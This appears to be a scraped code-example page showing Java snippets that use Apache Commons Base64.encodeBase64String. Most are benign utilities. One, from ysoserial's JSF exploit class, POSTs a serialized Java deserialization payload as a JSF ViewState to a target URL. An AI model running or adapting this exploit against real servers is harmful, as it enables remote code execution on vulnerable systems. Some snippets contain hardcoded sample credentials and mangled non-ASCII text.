Example usage for org.apache.commons.codec.binary Base64 encodeBase64String

List of usage examples for org.apache.commons.codec.binary Base64 encodeBase64String

Introduction

In this page you can find the example usage for org.apache.commons.codec.binary Base64 encodeBase64String.

Prototype

public static String encodeBase64String(final byte[] binaryData) 

Source Link

Document

Encodes binary data using the base64 algorithm but does not chunk the output.

Usage

From source file:io.druid.query.aggregation.datasketches.quantiles.GenerateTestData.java

public static void main(String[] args) throws Exception {
    Path buildPath = FileSystems.getDefault().getPath("doubles_build_data.tsv");
    Path sketchPath = FileSystems.getDefault().getPath("doubles_sketch_data.tsv");
    BufferedWriter buildData = Files.newBufferedWriter(buildPath, StandardCharsets.UTF_8);
    BufferedWriter sketchData = Files.newBufferedWriter(sketchPath, StandardCharsets.UTF_8);
    Random rand = new Random();
    int sequenceNumber = 0;
    for (int i = 0; i < 20; i++) {
        int product = rand.nextInt(10);
        UpdateDoublesSketch sketch = UpdateDoublesSketch.builder().build();
        for (int j = 0; j < 20; j++) {
            double value = rand.nextDouble();
            buildData.write("2016010101");
            buildData.write('\t');
            buildData.write(Integer.toString(sequenceNumber)); // dimension with unique numbers for ingesting raw data
            buildData.write('\t');
            buildData.write(Integer.toString(product)); // product dimension
            buildData.write('\t');
            buildData.write(Double.toString(value));
            buildData.newLine();/*from w  w w .j  a  v  a  2 s  .  co  m*/
            sketch.update(value);
            sequenceNumber++;
        }
        sketchData.write("2016010101");
        sketchData.write('\t');
        sketchData.write(Integer.toString(product)); // product dimension
        sketchData.write('\t');
        sketchData.write(Base64.encodeBase64String(sketch.toByteArray(true)));
        sketchData.newLine();
    }
    buildData.close();
    sketchData.close();
}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);/*  www .  ja v a 2  s. c o m*/
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:com.board.games.handler.modx.MODXPokerLoginServiceImpl.java

public static void main(String[] a) {

    Verifier verifier = new Verifier();

    String dbHash = "iDxLTbkejeeaQqpPoZTqUCJfWo1ALcBf7gMlYwwMa+Y="; //"dlgQ65ruCfeVVxqHJ3Bf02j50P0Wvis7WOoTfHYV3Nk=";
    String password = "rememberme";
    String dbSalt = "008747a35b77a4c7e55ab7ea8aec3ee0";
    PasswordResponse response = new PasswordResponse();
    String salt = "008747a35b77a4c7e55ab7ea8aec3ee0";
    response.setAlgorithm(Algorithm.PBKDF2);
    response.setSalt(salt);// w  w w  .ja v  a  2  s .  c  om
    response.setAlgorithmDetails(new AlgorithmDetails());
    response.getAlgorithmDetails().setIterations(1000);
    response.getAlgorithmDetails().setHashFunction("SHA256");
    response.getAlgorithmDetails().setKeySize(263);
    PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt.getBytes(), 1000,
            response.getAlgorithmDetails().getKeySize());
    try {
        SecretKeyFactory skf = PBKDF2Algorithms.getSecretKeyFactory(
                "PBKDF2WithHmac" + response.getAlgorithmDetails().getHashFunction().replace("-", ""));
        byte[] hash = skf.generateSecret(spec).getEncoded();

        String encodedHash = Base64.encodeBase64String(hash);
        response.setHash(encodedHash);

        System.out.println("hash " + response.getHash());
        if (verifier.verify(password, response)) {
            // Check it against database stored hash
            if (encodedHash.equals(dbHash)) {
                System.out.println("Authentication Successful");
            } else {
                System.out.println("Authentication failed");
            }

        } else {
            System.out.println("failed verification of hashing");
        }
    } catch (Exception e) {
        throw new IllegalStateException(e);
    }
}

From source file:com.apabi.qrcode.utils.DigestUtils.java

public static void main(final String[] as) {
    //I1+qP18tmDrGtMAvuGgQjQ==
    String str = "founder";
    byte[] bytes = DigestUtils.encryptByMd5(str, "UTF-16LE");
    System.out.println(Base64.encodeBase64String(DigestUtils.encryptByMd5(str, "UTF-16LE")));
}

From source file:bobs.mcapisignature.Signature.java

public static void main(String[] args) throws MCAPIException, CertificateException, SelectCertificateExceprion {
    byte[] data = "test".getBytes();

    System.out.println("Signing data '" + "test" + "' base64:" + Base64.encodeBase64String(data));
    Structures.CERT_CONTEXT cert = CertUtils.selectCert("Select cert for test", "Using Smartcard");
    X509Certificate x509Cert = CertUtils.getX509Certificate(cert);
    System.out.println("Signing whit cert: '" + x509Cert.getSubjectDN().toString());
    Signature signature = new Signature(cert);
    signature.setSignatureAlgorithm("SHA256withRSA");
    byte[] result = signature.sign(data);
    String resultb64 = Base64.encodeBase64String(result);
    System.out.println("result base64:" + resultb64);
}

From source file:hh.learnj.test.license.test.rsacoder.RSACoder.java

/**
 * @param args//  w w  w .ja  v  a  2 s  .  c  om
 * @throws Exception
 */
public static void main(String[] args) throws Exception {
    // ?
    // ?
    Map<String, Object> keyMap = RSACoder.initKey();
    // 
    byte[] publicKey = RSACoder.getPublicKey(keyMap);

    // ?
    byte[] privateKey = RSACoder.getPrivateKey(keyMap);
    System.out.println("/n" + Base64.encodeBase64String(publicKey));
    System.out.println("?/n" + Base64.encodeBase64String(privateKey));

    System.out.println(
            "================,?=============");
    String str = "RSA??";
    System.out.println("/n===========????==============");
    System.out.println(":" + str);
    // ?
    byte[] code1 = RSACoder.encryptByPrivateKey(str.getBytes(), privateKey);
    System.out.println("??" + Base64.encodeBase64String(code1));
    System.out.println("===========???==============");
    // ?
    byte[] decode1 = RSACoder.decryptByPublicKey(code1, publicKey);
    System.out.println("??" + new String(decode1) + "/n/n");

    System.out.println("===========????????==============/n/n");

    str = "????RSA";

    System.out.println(":" + str);

    // ?
    byte[] code2 = RSACoder.encryptByPublicKey(str.getBytes(), publicKey);
    System.out.println("===========?==============");
    System.out.println("??" + Base64.encodeBase64String(code2));

    System.out.println("=============??======================");
    System.out.println("===========??==============");

    // ??
    byte[] decode2 = RSACoder.decryptByPrivateKey(code2, privateKey);

    System.out.println("??" + new String(decode2));
}

From source file:Main.java

static String encodeBase64String(byte[] binaryData) {
    String encodedString = Base64.encodeBase64String(binaryData);

    if (encodedString.endsWith("\r\n")) {
        encodedString = encodedString.substring(0, encodedString.length() - 2);
    }/*w w  w .  ja v a2 s.co  m*/
    return encodedString;
}

From source file:com.ykun.commons.utils.security.Base64Utils.java

/**
 * encode
 */
public static String encode(byte[] data) {
    return Base64.encodeBase64String(data);
}

From source file:br.gov.to.secad.aede.util.CriptografiaHash.java

static public String codificar(String valor) {
    return Base64.encodeBase64String(valor.getBytes());
}

From source file:com.xqdev.sql.MLSQL.java

private static void addResultSet(Element root, ResultSet rs) throws SQLException {
    Namespace sql = root.getNamespace();

    ResultSetMetaData rsmd = rs.getMetaData();
    int columnCount = rsmd.getColumnCount();
    while (rs.next()) {
        Element tuple = new Element("tuple", sql);
        for (int i = 1; i <= columnCount; i++) {
            String colName = rsmd.getColumnName(i); // names aren't guaranteed OK in xml
            String colTypeName = rsmd.getColumnTypeName(i);

            // Decode a BLOB if one is found and place it into the result as a encoded Base 64 string
            String colValue = "";
            if ("BLOB".equalsIgnoreCase(colTypeName)) {
                Blob b = rs.getBlob(i);
                if (b != null && b.length() > 0) {
                    Base64 b64 = new Base64();
                    String b64Blob = b64.encodeBase64String(b.getBytes(1, (int) b.length()));
                    colValue = b64Blob;
                } else
                    colValue = "";
            } else {
                colValue = rs.getString(i);
            }/*from  w w  w . j a  va2s.  c o m*/

            boolean wasNull = rs.wasNull();
            Element elt = new Element(colName);
            if (wasNull) {
                elt.setAttribute("null", "true");
            }
            if ("UNKNOWN".equalsIgnoreCase(colTypeName)) {
                tuple.addContent(elt.setText("UNKNOWN TYPE")); // XXX ugly
            } else {
                tuple.addContent(elt.setText(colValue));
            }
        }
        root.addContent(tuple);
    }

}